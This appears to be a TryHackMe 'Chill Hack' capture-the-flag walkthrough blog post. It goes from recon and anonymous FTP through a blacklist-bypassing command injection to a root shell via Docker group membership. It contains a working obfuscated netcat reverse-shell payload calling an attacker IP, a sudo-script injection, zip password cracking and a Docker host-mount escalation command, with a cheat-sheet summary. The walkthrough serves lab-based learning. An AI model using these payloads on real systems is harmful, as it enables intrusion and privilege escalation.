6 min read

Chill Hack Walkthrough (TryHackMe): Command Injection to Root via Docker

Chill Hack Walkthrough (TryHackMe): Command Injection to Root via Docker

Room Information

Walkthrough

Step 1: Initial Recon - Nmap Scan

First, I run a port scan against the target:

rustscan -a 10.201.106.243 -b 2000 -t 2000 -- -A -sV -sC

Scan results:

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed
22/tcp open  ssh     OpenSSH 7.6p1
80/tcp open  http    Apache httpd 2.4.29

Findings:

  • ✅ FTP (21) - Anonymous login allowed
  • ✅ SSH (22) - OpenSSH
  • ✅ HTTP (80) - Apache Web Server

Step 2: Exploring the FTP Anonymous Login

I try logging in to FTP as an anonymous user:

ftp 10.201.106.243
# Username: anonymous
# Password: (just press Enter)

List the files:

ftp> ls -la
drwxr-xr-x 2 0 115 4096 Oct 03 2020 .
drwxr-xr-x 2 0 115 4096 Oct 03 2020 ..
-rw-r--r-- 1 1001 1001 90 Oct 03 2020 note.txt

Download note.txt:

ftp> get note.txt
ftp> exit

View the contents:

cat note.txt
Anurodh told me that there is some filtering on strings being put in the command -- Apaar

Key takeaways:

  • 💡 A potential username: Anurodh
  • 💡 A hint about command filtering

Step 3: Exploring the Web App - Directory Scan

I use feroxbuster to scan for hidden directories:

feroxbuster -u http://10.201.106.243/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 10 -d 2

Directories found:

/css                (Status: 301)
/fonts              (Status: 301)
/images             (Status: 301)
/js                 (Status: 301)
/secret             (Status: 301) ⭐

Visiting /secret reveals a command-execution interface!

Step 4: Command Injection - Bypassing the Blacklist Filter

Visiting http://10.201.106.243/secret/ reveals a command input interface.

Testing a basic command:

id
# Executes successfully, returns: uid=33(www-data) gid=33(www-data)

Trying the ls command:

ls
# Page displays: "Are you a hacker?" ❌

Analyzing the blacklist - use tac to view index.php:

tac index.php

The blacklist revealed:

$blacklist = array('nc', 'python', 'bash','php','perl','rm','cat','head','tail','python3','more','less','sh','ls');

Bypass strategy - inserting an empty variable:

The key idea: in Bash, if xyz is undefined, ${xyz} expands to an empty string, so ca${x}t = cat

Reverse Shell Payload:

r${x}m /tmp/f;mkfifo /tmp/f;ca${x}t /tmp/f|/bin/s${x}h -i 2>&1|n${x}c 10.13.90.144 4444 >/tmp/f

Start a listener on the attacker machine (Windows PowerShell):

ncat -lnvp 4444

Submit the payload on the /secret page and I get a shell! 🎉

Step 5: Stabilizing the Shell

python3 -c 'import pty; pty.spawn("/bin/bash")'

Step 6: Privilege Escalation (www-data → apaar)

Check sudo privileges:

sudo -l

Result:

User www-data may run the following commands on ip-10-201-106-243:
    (apaar : ALL) NOPASSWD: /home/apaar/.helpline.sh

Inspect the script:

cat /home/apaar/.helpline.sh
#!/bin/bash
echo
echo "Welcome to helpdesk. Feel free to talk to anyone at any time!"
echo
read -p "Enter the person whom you want to talk with: " person
read -p "Hello user! I am $person,  Please enter your message: " msg
$msg 2>/dev/null  # ⚠️ Directly executes user input!
echo "Thank you for your precious time!"

Vulnerability analysis:

  • The script directly executes the contents of the $msg variable
  • This is a clear Command Injection vulnerability!

Escalating via the script:

sudo -u apaar /home/apaar/.helpline.sh

The interaction:

Enter the person whom you want to talk with: admin
Hello user! I am admin, Please enter your message: /bin/bash

Successfully got an apaar shell! 🎉

whoami
# apaar

Grab the user flag:

cat /home/apaar/local.txt
# {USER-FLAG: 9axxxxxxxxxxxxxxxxxxxxxxxx6c}

Step 7: Lateral Movement (apaar → anurodh)

Explore the web directory:

cd /var/www/files
ls -la

File listing:

-rw-r--r-- 1 root root  391 Oct  3  2020 account.php
-rw-r--r-- 1 root root  453 Oct  3  2020 hacker.php ⭐
drwxr-xr-x 2 root root 4096 Oct  3  2020 images
-rw-r--r-- 1 root root 1153 Oct  3  2020 index.php
-rw-r--r-- 1 root root  545 Oct  3  2020 style.css

View hacker.php:

cat /var/www/files/hacker.php

Key contents:

<img src = "images/hacker-with-laptop_23-2147985341.jpg"><br>
<h1 style="background-color:red;">You have reached this far. </h2>
<h1 style="background-color:black;">Look in the dark! You will find your answer</h1>

Reading the hints:

  • 💡 "Look in the dark!" → suggests steganography
  • 🖼️ The image to focus on: hacker-with-laptop_23-2147985341.jpg

Download the image to my machine:

Method 1 - use a Python HTTP Server:

# On the target machine
cd /var/www/files/images
python3 -m http.server 8000
# On Kali
wget http://10.10.XX.XX:8000/hacker-with-laptop_23-2147985341.jpg

Use Stegseek to extract the hidden file:

stegseek hacker-with-laptop_23-2147985341.jpg

Output:

[i] Found passphrase: ""
[i] Original filename: "backup.zip".
[i] Extracting to "hacker-with-laptop_23-2147985341.jpg.out".

Confirm the file type:

file hacker-with-laptop_23-2147985341.jpg.out
# Zip archive data

Try to unzip it:

unzip hacker-with-laptop_23-2147985341.jpg.out
# [hacker-with-laptop_23-2147985341.jpg.out] source_code.php password:

A password is required! 😤

Step 8: Cracking the Zip Password

Using John the Ripper:

# Convert the zip into hash format
zip2john hacker-with-laptop_23-2147985341.jpg.out > zip_hash.txt

# Crack it
john zip_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

Or use fcrackzip:

└─$ fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt hacker-with-laptop_23-2147985341.jpg.out


PASSWORD FOUND!!!!: pw == pass1word

Cracked! Password: pass1word

Unzip it:

unzip hacker-with-laptop_23-2147985341.jpg.out
# Enter password: pass1word

View source_code.php:

cat source_code.php

Key code:

if(base64_encode($password) == "IWQwbnRLbjB3bVlwQHNzdzByZA==")
{
    $random = rand(1000,9999);
    // ...
    echo "Welcome Anurodh!";

Findings:

  • 💡 This is the password for the anurodh user (Base64-encoded)
  • 🔑 Decoding it gives the plaintext password

Decode the Base64:

echo "IWQwbnRLbjB3bVlwQHNzdzByZA==" | base64 -d
# !d0ntKn0wmYp@ssw0rd

SSH in as anurodh:

ssh [email protected]
# Password: !d0ntKn0wmYp@ssw0rd

Logged in successfully! 🎉

Step 9: Privilege Escalation (anurodh → root)

Check the user's group memberships:

id

Output:

uid=1002(anurodh) gid=1002(anurodh) groups=1002(anurodh),999(docker) ⭐

Key finding: anurodh is in the docker group!

Check the available Docker images:

docker images

Result:

REPOSITORY    TAG       IMAGE ID       CREATED       SIZE
alpine        latest    a24bb4013296   5 years ago   5.57MB
hello-world   latest    bf756fb1ae65   5 years ago   13.3kB

How the Docker privilege escalation works:

  1. Members of the docker group can start containers
  2. Inside a container, you are root by default
  3. You can mount the host's root filesystem into the container
  4. Using chroot to switch into the host's root filesystem = accessing the host as root!

Perform the Docker privilege escalation:

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

Parameter explanation:

  • docker run - Start a new container
  • -v /:/mnt - Mount the host's / into the container's /mnt
  • --rm - Automatically remove the container when it exits
  • -it - Interactive terminal
  • alpine - Use the alpine Linux image
  • chroot /mnt sh - Switch the root directory to /mnt and run a shell

Verify privileges:

whoami
# root ✅

Grab the root flag:

cd /root
ls
# proof.txt  snap

cat proof.txt

Flag contents:

{ROOT-FLAG: Redacted}

Congratulations! You have successfully completed the challenge.

         ,-.-.     ,----.                                             
,-..-.-./  \==\ ,-.-` , \   _.-.      _.-.             _,..---._      
|, \=/\=|- |==||==|-  _.` .-,.'|    .-,.'|           /==/,   -  \    
|- |/ |/ , /==/|==|   `.-.|==|, |   |==|, |           |==|   _   _\   
 \, ,     _|==/==/_ ,    /|==|- |   |==|- |           |==|  .=.   |   
 | -  -  , |==|==|    .-' |==|, |   |==|, |           |==|,|   | -|   
  \  ,  - /==/|==|_  `-._|==|- `-._|==|- `-._        |==|  '='   /    
  |-  /\ /==/ /==/ ,     //==/ - , ,/==/ - , ,/       |==|-,   _`/     
  `--`  `--`  `--`-----`` `--`-----`--`-----'        `-.`.____.'      

--------------------------------------------Designed By -------------------------------------------------------
                                        |  Anurodh Acharya |
                                        ---------------------

Done! 🏆

Technical Takeaways

1. Command Injection Blacklist Bypass

ca${x}t /etc/passwd    # Empty variable insertion
c"at" /etc/passwd      # Splitting with double quotes
c\at /etc/passwd       # Backslash
tac /etc/passwd        # Alternative command

2. Steganography Tools

stegseek image.jpg              # Automatic JPG brute-force
steghide extract -sf image.jpg  # Manual extraction
zsteg image.png -a              # PNG scanning

3. ZIP Password Cracking

fcrackzip -u -D -p rockyou.txt backup.zip
# Or
zip2john backup.zip > hash.txt
john hash.txt --wordlist=rockyou.txt

4. Docker Group Privilege Escalation

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

Detection: run id to check whether you are in the docker group

Lessons Learned

On Step 7: Lateral Movement (apaar → anurodh)

I was stuck on this step for a really long time. In the end I had Claude AI look up a writeup, which is how I realized I needed to go back and hunt through the files in the directories under /var/www. Even after finding the file, I didn't immediately think to test for steganography either; it was again only thanks to the writeup's hint that I went and analyzed that image. Looking back on it, the lesson is that you still need to check a website for certain special files. Usually, once you have the user flag it's easier to focus on privilege escalation, but this time I had to pivot to yet another user first before escalating, and that pivot step required finding some of the user's passwords. After that, things were fairly straightforward. ~